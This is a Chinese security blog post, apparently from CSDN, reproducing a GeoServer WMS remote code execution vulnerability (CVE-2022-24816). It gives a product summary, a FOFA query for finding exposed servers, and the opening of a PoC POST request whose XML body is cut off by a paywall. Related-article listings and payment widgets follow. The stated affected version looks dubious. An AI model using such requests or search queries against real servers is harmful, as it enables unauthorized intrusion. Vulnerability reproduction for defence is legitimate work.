GeoServer /geoserver/wms RCE漏洞复现(CVE-2022-24816)

已于 2024-05-15 11:19:19 修改
阅读量1.4k 收藏
点赞数 5
分类专栏： 漏洞复现 文章标签： 安全 web安全
于 2024-05-15 11:19:11 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41904294/article/details/138900810
版权

0x01 产品简介

GeoServer是一款开源的地理数据服务器软件，主要用于发布、共享和处理各种地理空间数据。它支持众多的地图和空间数据标准，能够使各种设备通过网络来浏览和使用这些地理信息数据。

0x02 漏洞概述

GeoServer /geoserver/wms 接口处存在远程代码执行漏洞，未经身份验证的远程攻击者可利用此漏洞执行任意shell命令，从而获取服务器权限。

0x03 影响范围

GeoServer <1.2.2

0x04 复现环境

FOFA：app="GeoServer"

0x05 漏洞复现

PoC

POST /geoserver/wms HTTP/1.1
Host: your-ip
Content-Type: application/xml
Accept-Encoding: gzip, deflate

<?xml version="1.0" encoding="UTF-8"?>
  <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/w
了解本专栏 订阅专栏 解锁全文 超级会员免费看
0xSecl
关注
  • 5
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
订阅专栏
Geoserver XPath表达式注入致远程代码执行漏洞复现(CVE-2024-36401)
0xSec
07-03 1296
2024年7月，互联网上披露Geoserver表达式注入致远程代码执行漏洞（CVE-2024-36401），攻击者无需认证即可利用该漏洞获取服务器权限，建议受影响的客户尽快修复漏洞。
GeoServer /geoserver/wms接口存在远程命令执行漏洞
nnn2188185的博客
05-22 533
GeoServer /geoserver/wms接口存在远程命令执行漏洞
GeoServer SQL 注入漏洞复现（CVE-2024-25157）附poc_geoserverl漏洞
2401_84253380的博客
06-24 452
1.访问http://yourip:8080/geoserver进入首页2.获取每个功能名称在进行注入之前，首先要获取地理图层列表信息，这是sql注入payload中的一个必要参数访问以下url获取：标签中的信息，就是地理图层列表。这里选择作为地理图层列表信息3.获取功能的属性将上一步获取的typeName的name属性值拼接到url中，构成url如下：4.构造SQL 注入利用这些已知参数，拼接成payload:成功获取到数据库版本号。
Geoserver漏洞复现
2301_80115097的博客
04-23 1450
（https://github.com/geoserver/geoserver/）获取2.23.4或2.24.1及以上的版本修复漏洞。官网：https://sourceforge.net/projects/geoserver/files/GeoServer/下载地址：https://github.com/geoserver/geoserver/releases。仓库托管地址：https://github.com/geoserver/geoserver。默认账号密码：admin/geoserver。
GeoServer历史漏洞分析
最新发布
从小白成长为高级安全专家
07-09 1110
github上可以看到GeoServer安全问题列表，包含所有的历史漏洞：https://github.com/geoserver/geoserver/securityCVE编号漏洞类型SQLSSRF任意文件读取信息泄漏文件上传XPath RCE关于CVE-2024-36401 XPath RCE的分析，可以看我之前的文章：https://blog.csdn.net/baidu_25299117/article/details/140159307?
六零导航页file.php接口存在任意文件上传漏洞
nnn2188185的博客
05-22 128
六零导航页file.php接口存在任意文件上传漏洞
【漏洞复现】Geoserver远程代码执行漏洞（CVE-2024-36401）
今天是几号的博客
07-03 1561
GeoServer已经发布先前版本的补丁，可以从下载页面（https://geoserver.org/）下载：2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0，从下载的补丁中获取gt-app-schema和gt-complex和 gt-xsd-core jar文件，替换掉WEB-INF/lib里面对应的文件即可。它为提供交互操作性而设计，使用开放标准发布来自任何主要空间数据源的数据。
GeoServer 存在 sql 注入漏洞
murphysec的博客
03-01 2857
GeoServer 是一个允许用户共享和编辑地理空间数据的开源软件服务器，支持 OGC Filter expression 和 OGC Common Query Language 语言，使用 PostGIS Datastore 作为数据库。PostGIS是PostgreSQL数据库的扩展程序，增加了数据库对地理对象的支持。
1day速达软件NET接口处存在RCE漏洞
weixin_43167326的博客
05-07 804
速达软件专注中小企业管理软件，产品涵盖进销存软件，财务软件，ERP软件，CRM系统，项目管理软件，OA系统，仓库管理软件等，是中小企业管理市场的佼佼者，提供产品、技术、服务等信息，百万企业共同选择。速达软件全系产品存在任意文件上传漏洞，未经身份认证得攻击者可以通过此漏洞上传恶意后门文件，执行任意指令，造成服务器失陷。
GeoServer漏洞（CVE-2023-25157）
m0_73605862的博客
12-04 1256
3.然后进行模糊搜索写入，利用了布尔注入进行注入，返回结果。通过绕过前面的strStartsWith语句然后在后面查询了版本，并且变成了数字。1.了解了一下这个geoserver的请求规范，顺便了解一下这个网页的请求规范以及返回结果是什么。4.修改注入语句，不知道返回成功了没有（好奇第一条数据有这么长吗），用了另外一种也返回的这个。然乎知道漏洞是用户在输入的时候可能不规范造成的sql注入，并且这个还支持模糊查询。前半部分是sql注入一些语句的测试，后面是漏洞的复现和利用。1.查看user 表。
GeoServer SQL注入漏洞复现（CVE-2023-25157）
0xSec
06-09 7455
GeoServer在预览图层的时候，可以对图层进行数据过滤从而渲染出指定位置的图层。由于未对用户输入进行过滤，在使用需要以数据库作为数据存储的功能时，攻击者可以构造畸形的过滤语法，绕过GeoServer的词法解析从而造成SQL注入，获取服务器中的敏感信息，甚至可能获取数据库服务器权限。
geoserver-2.22.5-bin.zip安装包
11-14
这个"geoserver-2.22.5-bin.zip"安装包包含了运行GeoServer所需的全部文件。 在压缩包中，我们可以看到以下几个关键文件： 1. **RUNNING.html**: 这通常是一个启动提示页面，提供了关于如何运行或启动GeoServer的...
CVE-2023-25157-main(1).zip
07-19
通过复现漏洞，可以深入了解其工作原理，以便开发补丁或者创建防御策略。提供的"CVE-2023-25157-main"压缩包文件很可能包含了用于重现该漏洞的详细步骤、测试环境、PoC（Proof of Concept）代码或者示例请求。这些...
geoserver-manager-1.8-SNAPSHOT.rar
09-16
在"geoserver-manager-1.8-SNAPSHOT.rar"这个压缩包中，包含了GeoServer Manager的1.8-SNAPSHOT版本。这个版本可能包含了对GeoServer的最新改进和优化，例如提升性能、增加新功能或者修复已知问题。安装和使用这个...
java操作geoserver的工具类GeoServer，配合geoserver-manager包使用
06-05
java操作geoserver的工具类，包含mongodb和sqlserver创建数据存储的对象, 封装好了图层的shp发布，数据库空间表发布,图层列表查询，删除，发布样式，设置图层默认样式，发布带样式的空间表，删除样式，查询图层中心...
Geoserver/OpenLayers-世上最详细配置资料
12-03
Geoserver是一款开源的GIS服务器，基于Java构建，遵循开放地理空间联盟（OGC）的标准，如WMS（Web Map Service）、WFS（Web Feature Service）等。这份资料将深入探讨如何安装、配置和管理Geoserver，包括发布地图...
GeoServer远程代码执行漏洞复现(CVE-2024-36401)
qq_26229345的博客
07-08 1979
文章仅供参考，本文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责！
GeoServer wms远程代码执行漏洞
qq_39894062的博客
03-28 963
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。
GeoServer OGC Filter SQL注入漏洞（CVE-2023-25157）vulhub漏洞复现
qq_53003652的博客
07-06 1713
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现，利用 GeoServer 可以方便的发布地图数据，允许用户对特征数据进行更新、删除、插入操作。GeoServer是一款JAVA编写的、开源的、用于共享地理空间数据的软件服务器。GeoServer实现了 开放地理空间信息联盟(OGC )标准下WFS、WMS、WCS、WMTS等格式的发布。在利用漏洞前，需要目标服务器中存在类型是PostGIS的数据空间（datastore）和工作空间（workspace）。成功注入获取版本信息。
https://ahocevar.com/geoserver/wms
07-29
根据提供的链接，它看起来是一个 GeoServer 的 WMS（Web Map Service）服务地址。WMS 是一种用于在 Web 上发布地图图层的标准协议。通过 WMS，可以请求获取地图图层的地理数据以及相应的样式信息。 要使用这个链接获取地图图层数据，你可以使用相应的地图库或工具来发送 WMS 请求，并解析响应以获取地图数据。常见的地图库和工具包括 OpenLayers、Leaflet、Mapbox GL JS 等。 以下是一个使用 OpenLayers 发送 WMS 请求的示例代码： ```javascript import 'ol/ol.css'; import Map from 'ol/Map'; import View from 'ol/View'; import TileLayer from 'ol/layer/Tile'; import OSM from 'ol/source/OSM'; const map = new Map({ target: 'map', layers: [ new TileLayer({ source: new OSM(), }), new TileLayer({ source: new XYZ({ url: 'https://ahocevar.com/geoserver/wms', params: { 'LAYERS': 'your_layer_name', 'TILED': true, }, serverType: 'geoserver', }), }), ], view: new View({ center: [0, 0], zoom: 2, }), }); ``` 请注意，在上述代码中，你需要将 `'your_layer_name'` 替换为你想要获取的具体地图图层的名称。 这只是一个简单的示例，实际使用时可能需要根据具体需求进行更多的配置和调整。你可以根据自己的项目需求选择适合的地图库或工具，并参考相应的文档和示例代码来发送 WMS 请求和处理地图数据。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xSecl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值